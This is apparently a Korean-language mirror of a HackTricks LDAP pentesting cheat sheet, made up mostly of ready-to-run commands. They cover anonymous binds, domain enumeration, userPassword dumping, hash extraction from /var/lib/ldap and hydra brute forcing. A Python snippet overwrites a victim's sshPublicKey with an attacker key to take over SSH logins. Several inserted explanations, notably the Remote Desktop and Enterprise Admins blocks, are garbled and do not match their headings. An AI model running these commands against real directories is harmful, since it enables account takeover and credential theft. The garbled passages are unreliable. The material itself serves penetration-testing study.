mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
462 lines
22 KiB
Markdown
462 lines
22 KiB
Markdown
# 389, 636, 3268, 3269 - LDAP의 Pentesting
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
|
|
</details>
|
|
|
|
**LDAP** (Lightweight Directory Access Protocol)의 사용은 주로 공개 및 비공개 네트워크 내에서 조직, 개인 및 파일 및 장치와 같은 리소스와 같은 다양한 엔티티를 찾기 위한 것입니다. 이는 이전 버전인 DAP와 비교하여 코드 크기가 작아진 것으로, 간소화된 접근 방식을 제공합니다.
|
|
|
|
LDAP 디렉토리는 여러 서버에 분산되어 배치되도록 구성되어 있으며, 각 서버는 디렉토리의 복제 및 동기화된 버전을 가지고 있으며 Directory System Agent (DSA)라고도 합니다. 요청 처리의 책임은 완전히 LDAP 서버에 있으며, 필요에 따라 다른 DSA와 통신하여 요청자에게 통합된 응답을 제공할 수 있습니다.
|
|
|
|
LDAP 디렉토리의 구성은 **트리 계층 구조**로 이루어져 있으며, 맨 위에는 루트 디렉토리가 있습니다. 이는 국가로 나뉘어지고, 이어서 조직으로 나뉘며, 마지막으로 다양한 부서를 나타내는 조직 단위로 나뉘어지며, 마지막으로 개인과 파일 및 프린터와 같은 공유 리소스를 포함한 개체 수준에 도달합니다.
|
|
|
|
**기본 포트:** 389 및 636(ldaps). Global Catalog (ActiveDirectory의 LDAP)은 기본적으로 3268 포트에서 사용 가능하며, LDAPS의 경우 3269 포트에서 사용 가능합니다.
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
389/tcp open ldap syn-ack
|
|
636/tcp open tcpwrapped
|
|
```
|
|
### LDAP 데이터 교환 형식
|
|
|
|
LDIF (LDAP 데이터 교환 형식)은 디렉터리 내용을 레코드의 집합으로 정의합니다. 또한 업데이트 요청 (추가, 수정, 삭제, 이름 변경)을 나타낼 수도 있습니다.
|
|
```bash
|
|
dn: dc=local
|
|
dc: local
|
|
objectClass: dcObject
|
|
|
|
dn: dc=moneycorp,dc=local
|
|
dc: moneycorp
|
|
objectClass: dcObject
|
|
objectClass: organization
|
|
|
|
dn ou=it,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
ou: dev
|
|
|
|
dn: ou=marketing,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
Ou: sales
|
|
|
|
dn: cn= ,ou= ,dc=moneycorp,dc=local
|
|
objectClass: personalData
|
|
cn:
|
|
sn:
|
|
gn:
|
|
uid:
|
|
ou:
|
|
mail: pepe@hacktricks.xyz
|
|
phone: 23627387495
|
|
```
|
|
* 1-3번 줄은 최상위 도메인 local을 정의합니다.
|
|
* 5-8번 줄은 첫 번째 수준 도메인 moneycorp (moneycorp.local)을 정의합니다.
|
|
* 10-16번 줄은 2개의 조직 단위(dev와 sales)를 정의합니다.
|
|
* 18-26번 줄은 도메인 객체를 생성하고 값과 속성을 할당합니다.
|
|
|
|
## 데이터 작성
|
|
|
|
값을 수정할 수 있다면 매우 흥미로운 작업을 수행할 수 있습니다. 예를 들어, 사용자 또는 다른 사용자의 "sshPublicKey" 정보를 변경할 수 있다고 가정해보세요. 이 속성이 존재한다면, ssh가 LDAP에서 공개 키를 읽고 있을 확률이 매우 높습니다. 사용자의 공개 키를 수정할 수 있다면, ssh에서 비밀번호 인증이 활성화되지 않아도 해당 사용자로 로그인할 수 있습니다.
|
|
```bash
|
|
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
|
|
>>> connection.bind()
|
|
True
|
|
>>> connection.extend.standard.who_am_i()
|
|
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
|
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
|
```
|
|
## 평문으로 된 자격 증명 스니핑
|
|
|
|
LDAP가 SSL 없이 사용되는 경우, 네트워크에서 **평문으로 된 자격 증명을 스니핑**할 수 있습니다.
|
|
|
|
또한, LDAP 서버와 클라이언트 사이의 네트워크에서 **MITM**(중간자 공격)을 수행할 수 있습니다. 여기서는 클라이언트가 **평문으로 된 자격 증명**을 사용하여 로그인하도록 **다운그레이드 공격**을 수행할 수 있습니다.
|
|
|
|
**SSL이 사용되는 경우**, 위에서 언급한 것과 같이 **MITM**을 시도할 수 있지만, **가짜 인증서**를 제공하여 사용자가 이를 **수락하는 경우** 인증 방법을 다운그레이드하고 자격 증명을 확인할 수 있습니다.
|
|
|
|
## 익명 액세스
|
|
|
|
### TLS SNI 검사 우회
|
|
|
|
[**이 문서**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)에 따르면 임의의 도메인 이름(예: company.com)으로 LDAP 서버에 액세스하면 익명 사용자로서 LDAP 서비스에 연락하고 정보를 추출할 수 있습니다.
|
|
```bash
|
|
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
|
```
|
|
### LDAP 익명 바인딩
|
|
|
|
[LDAP 익명 바인딩](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)은 **인증되지 않은 공격자**가 도메인에서 정보를 검색할 수 있게 해줍니다. 이 정보에는 사용자, 그룹, 컴퓨터, 사용자 계정 속성 및 도메인 암호 정책의 완전한 목록이 포함됩니다. 이는 **레거시 구성**이며 Windows Server 2003부터는 인증된 사용자만 LDAP 요청을 시작할 수 있습니다.\
|
|
그러나 관리자는 **익명 바인딩을 허용하도록 특정 애플리케이션을 설정**해야 할 수 있으며, 의도하지 않은 양의 액세스를 제공하여 인증되지 않은 사용자가 AD의 모든 개체에 액세스할 수 있게 할 수 있습니다.
|
|
|
|
## 유효한 자격 증명
|
|
|
|
LDAP 서버에 로그인할 유효한 자격 증명이 있다면, 다음을 사용하여 도메인 관리자에 대한 모든 정보를 덤프할 수 있습니다:
|
|
|
|
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
|
```bash
|
|
pip3 install ldapdomaindump
|
|
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
|
|
```
|
|
### [무차별 대입 공격](../generic-methodologies-and-resources/brute-force.md#ldap)
|
|
|
|
## 열거
|
|
|
|
### 자동화된 방법
|
|
|
|
이를 사용하면 **공개 정보** (예: 도메인 이름)을 볼 수 있습니다.
|
|
```bash
|
|
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|
```
|
|
### 파이썬
|
|
|
|
<details>
|
|
|
|
<summary>파이썬을 사용한 LDAP 열거</summary>
|
|
|
|
파이썬을 사용하여 **자격 증명을 사용하거나 사용하지 않고** LDAP을 열거해 볼 수 있습니다: `pip3 install ldap3`
|
|
|
|
먼저 **자격 증명 없이** 연결을 시도해 보세요:
|
|
```bash
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server)
|
|
>>> connection.bind()
|
|
True
|
|
>>> server.info
|
|
```
|
|
만약 이전 예제와 같이 응답이 `True`인 경우, 다음에서 LDAP의 일부 **흥미로운 데이터**(예: **네이밍 컨텍스트** 또는 **도메인 이름**) 서버를 얻을 수 있습니다:
|
|
```bash
|
|
>>> server.info
|
|
DSA info (from DSE):
|
|
Supported LDAP versions: 3
|
|
Naming contexts:
|
|
dc=DOMAIN,dc=DOMAIN
|
|
```
|
|
한번 네이밍 컨텍스트를 얻으면 더 흥미로운 쿼리를 수행할 수 있습니다. 이 간단한 쿼리는 디렉터리에 있는 모든 객체를 보여줍니다:
|
|
```bash
|
|
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
|
True
|
|
>> connection.entries
|
|
```
|
|
전체 ldap을 **덤프**하거나:
|
|
```bash
|
|
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
|
True
|
|
>>> connection.entries
|
|
```
|
|
</details>
|
|
|
|
### windapsearch
|
|
|
|
[**Windapsearch**](https://github.com/ropnop/windapsearch)은 LDAP 쿼리를 활용하여 **Windows 도메인에서 사용자, 그룹 및 컴퓨터를 열거하는 데 유용한** 파이썬 스크립트입니다.
|
|
```bash
|
|
# Get computers
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
|
# Get groups
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
|
|
# Get users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Domain Admins
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Privileged Users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
|
|
```
|
|
### ldapsearch
|
|
|
|
널 자격 증명 또는 자격 증명이 유효한지 확인하세요:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
```bash
|
|
# CREDENTIALS NOT VALID RESPONSE
|
|
search: 2
|
|
result: 1 Operations error
|
|
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
|
tion a successful bind must be completed on the connection., data 0, v3839
|
|
```
|
|
만약 "_bind must be completed_"라는 내용을 발견한다면, 해당 자격 증명이 잘못되었음을 의미합니다.
|
|
|
|
도메인에서 **모든 것을 추출**할 수 있습니다.
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
-x Simple Authentication
|
|
-H LDAP Server
|
|
-D My User
|
|
-w My password
|
|
-b Base site, all data from here will be given
|
|
```
|
|
**사용자** 추출하기:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
|
```
|
|
**컴퓨터** 추출하기:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**내 정보** 추출하기:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**도메인 관리자** 추출하기:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**도메인 사용자** 추출:
|
|
|
|
```plaintext
|
|
1. LDAP 서버에 연결합니다.
|
|
2. 사용자 인증 정보를 제공하여 로그인합니다.
|
|
3. LDAP 서버에서 "Domain Users" 그룹을 찾습니다.
|
|
4. "Domain Users" 그룹의 구성원을 추출합니다.
|
|
5. 추출된 사용자 정보를 분석하고 필요한 정보를 수집합니다.
|
|
```
|
|
|
|
**Note**: 이 기술은 LDAP 서버에서 "Domain Users" 그룹의 구성원을 추출하는 방법을 설명합니다.
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**Enterprise Admins** 추출:
|
|
|
|
LDAP에서 **Enterprise Admins** 그룹을 추출하는 방법은 다음과 같습니다:
|
|
|
|
1. LDAP 서버에 연결합니다.
|
|
2. **Domain Admins** 그룹의 DN(Distinguished Name)을 찾습니다.
|
|
3. **Domain Admins** 그룹의 DN을 사용하여 **Enterprise Admins** 그룹을 검색합니다.
|
|
4. **Enterprise Admins** 그룹의 DN을 사용하여 해당 그룹의 구성원을 추출합니다.
|
|
|
|
다음은 Python을 사용하여 LDAP 서버에서 **Enterprise Admins** 그룹을 추출하는 예시 코드입니다:
|
|
|
|
```python
|
|
import ldap
|
|
|
|
# LDAP 서버에 연결
|
|
conn = ldap.initialize('ldap://ldap_server_ip')
|
|
|
|
# 바인드
|
|
conn.simple_bind_s('username', 'password')
|
|
|
|
# Domain Admins 그룹의 DN 찾기
|
|
result = conn.search_s('dc=example,dc=com', ldap.SCOPE_SUBTREE, '(cn=Domain Admins)')
|
|
domain_admins_dn = result[0][0]
|
|
|
|
# Enterprise Admins 그룹의 DN 찾기
|
|
result = conn.search_s('dc=example,dc=com', ldap.SCOPE_SUBTREE, '(cn=Enterprise Admins)')
|
|
enterprise_admins_dn = result[0][0]
|
|
|
|
# Enterprise Admins 그룹의 구성원 추출
|
|
result = conn.search_s(enterprise_admins_dn, ldap.SCOPE_BASE)
|
|
members = result[0][1]['member']
|
|
|
|
# 구성원 출력
|
|
for member in members:
|
|
print(member)
|
|
|
|
# 연결 종료
|
|
conn.unbind_s()
|
|
```
|
|
|
|
위의 코드에서 `'ldap_server_ip'`, `'username'`, `'password'`, `'dc=example,dc=com'` 등은 실제 환경에 맞게 수정해야 합니다.
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**Administrators** 추출:
|
|
|
|
```plaintext
|
|
1. 관리자 그룹의 구성원을 확인하기 위해 LDAP 서버에 연결합니다.
|
|
2. LDAP 서버에 대한 익명 바인딩을 시도합니다.
|
|
3. 익명 바인딩이 허용되지 않는 경우, 유효한 사용자 자격 증명을 사용하여 바인딩을 시도합니다.
|
|
4. 바인딩이 성공하면, 관리자 그룹의 DN(Distinguished Name)을 찾습니다.
|
|
5. DN을 사용하여 관리자 그룹의 구성원을 검색합니다.
|
|
6. 관리자 그룹의 구성원을 추출합니다.
|
|
```
|
|
|
|
**Note**: 이 기술은 LDAP 서버에서 관리자 그룹의 구성원을 추출하는 방법을 설명합니다. 이를 통해 시스템에 대한 권한 상승 가능성을 확인할 수 있습니다.
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
**원격 데스크톱 그룹** 추출:
|
|
|
|
```plaintext
|
|
원격 데스크톱 그룹은 원격으로 컴퓨터에 액세스할 수 있는 사용자 그룹입니다. 이 그룹에 속한 사용자는 원격으로 컴퓨터에 로그인하고 작업할 수 있습니다. 원격 데스크톱 그룹에는 일반 사용자와 관리자 권한을 가진 사용자가 포함될 수 있습니다. 이 그룹에 속한 사용자는 원격으로 컴퓨터에 액세스할 수 있는 권한을 가지게 됩니다.
|
|
|
|
원격 데스크톱 그룹을 추출하는 방법은 다음과 같습니다:
|
|
|
|
1. 원격 데스크톱 클라이언트를 실행합니다.
|
|
2. 원격 데스크톱 클라이언트에서 "컴퓨터" 또는 "서버"에 대한 IP 주소 또는 호스트 이름을 입력합니다.
|
|
3. "연결" 버튼을 클릭합니다.
|
|
4. 로그인 창이 표시되면 원격 데스크톱 그룹에 속한 사용자 이름과 암호를 입력합니다.
|
|
5. "로그인" 버튼을 클릭하여 원격으로 컴퓨터에 액세스합니다.
|
|
|
|
원격 데스크톱 그룹을 추출하는 것은 원격으로 컴퓨터에 액세스하기 위한 중요한 단계입니다. 이 그룹에 속한 사용자는 원격으로 컴퓨터에 로그인하고 작업할 수 있으므로, 보안을 유지하기 위해 암호를 안전하게 관리해야 합니다.
|
|
```
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
어떤 비밀번호에 액세스할 수 있는지 확인하려면 다음 쿼리 중 하나를 실행한 후 grep을 사용할 수 있습니다:
|
|
```bash
|
|
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
|
```
|
|
#### pbis
|
|
|
|
**pbis**는 여기에서 다운로드할 수 있습니다: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) 그리고 일반적으로 `/opt/pbis`에 설치됩니다.\
|
|
**pbis**를 사용하면 기본 정보를 쉽게 얻을 수 있습니다:
|
|
```bash
|
|
#Read keytab file
|
|
./klist -k /etc/krb5.keytab
|
|
|
|
#Get known domains info
|
|
./get-status
|
|
./lsa get-status
|
|
|
|
#Get basic metrics
|
|
./get-metrics
|
|
./lsa get-metrics
|
|
|
|
#Get users
|
|
./enum-users
|
|
./lsa enum-users
|
|
|
|
#Get groups
|
|
./enum-groups
|
|
./lsa enum-groups
|
|
|
|
#Get all kind of objects
|
|
./enum-objects
|
|
./lsa enum-objects
|
|
|
|
#Get groups of a user
|
|
./list-groups-for-user <username>
|
|
./lsa list-groups-for-user <username>
|
|
#Get groups of each user
|
|
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
|
|
|
#Get users of a group
|
|
./enum-members --by-name "domain admins"
|
|
./lsa enum-members --by-name "domain admins"
|
|
#Get users of each group
|
|
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
|
|
|
#Get description of each user
|
|
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
|
echo "$line";
|
|
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
|
|
echo "======================"
|
|
done
|
|
```
|
|
## 그래픽 인터페이스
|
|
|
|
### Apache Directory
|
|
|
|
[**여기에서 Apache Directory를 다운로드하세요**](https://directory.apache.org/studio/download/download-linux.html). 이 도구를 사용하는 [예제를 여기에서 찾을 수 있습니다](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
|
|
|
|
### jxplorer
|
|
|
|
LDAP 서버와 함께 사용할 수 있는 그래픽 인터페이스를 여기에서 다운로드할 수 있습니다: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
|
|
|
기본적으로 _/opt/jxplorer_에 설치됩니다.
|
|
|
|
![](<../.gitbook/assets/image (22) (1).png>)
|
|
|
|
### Godap
|
|
|
|
[https://github.com/Macmod/godap](https://github.com/Macmod/godap)에서 액세스할 수 있습니다.
|
|
|
|
## Kerberos를 통한 인증
|
|
|
|
`ldapsearch`를 사용하여 **NTLM 대신** **Kerberos를 통해 인증**할 수 있습니다. 이를 위해 `-Y GSSAPI` 매개변수를 사용합니다.
|
|
|
|
## POST
|
|
|
|
데이터베이스가 포함된 파일에 액세스할 수 있다면 (일반적으로 _/var/lib/ldap_에 위치), 다음을 사용하여 해시를 추출할 수 있습니다:
|
|
```bash
|
|
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
|
```
|
|
john에게 패스워드 해시를 제공할 수 있습니다 ('{SSHA}'에서 'structural'까지 'structural'을 추가하지 않고).
|
|
|
|
### 구성 파일
|
|
|
|
* 일반
|
|
* containers.ldif
|
|
* ldap.cfg
|
|
* ldap.conf
|
|
* ldap.xml
|
|
* ldap-config.xml
|
|
* ldap-realm.xml
|
|
* slapd.conf
|
|
* IBM SecureWay V3 서버
|
|
* V3.sas.oc
|
|
* Microsoft Active Directory 서버
|
|
* msadClassesAttrs.ldif
|
|
* Netscape Directory Server 4
|
|
* nsslapd.sas\_at.conf
|
|
* nsslapd.sas\_oc.conf
|
|
* OpenLDAP 디렉토리 서버
|
|
* slapd.sas\_at.conf
|
|
* slapd.sas\_oc.conf
|
|
* Sun ONE Directory Server 5.1
|
|
* 75sas.ldif
|
|
|
|
## HackTricks 자동 명령어
|
|
```
|
|
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
|
Port_Number: 389,636 #Comma separated if there is more than one.
|
|
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notes
|
|
Description: Notes for LDAP
|
|
Note: |
|
|
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
|
|
|
|
https://book.hacktricks.xyz/pentesting/pentesting-ldap
|
|
|
|
Entry_2:
|
|
Name: Banner Grab
|
|
Description: Grab LDAP Banner
|
|
Command: nmap -p 389 --script ldap-search -Pn {IP}
|
|
|
|
Entry_3:
|
|
Name: LdapSearch
|
|
Description: Base LdapSearch
|
|
Command: ldapsearch -H ldap://{IP} -x
|
|
|
|
Entry_4:
|
|
Name: LdapSearch Naming Context Dump
|
|
Description: Attempt to get LDAP Naming Context
|
|
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
|
|
|
|
Entry_5:
|
|
Name: LdapSearch Big Dump
|
|
Description: Need Naming Context to do big dump
|
|
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
|
|
|
|
Entry_6:
|
|
Name: Hydra Brute Force
|
|
Description: Need User
|
|
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
|
|
</details>
|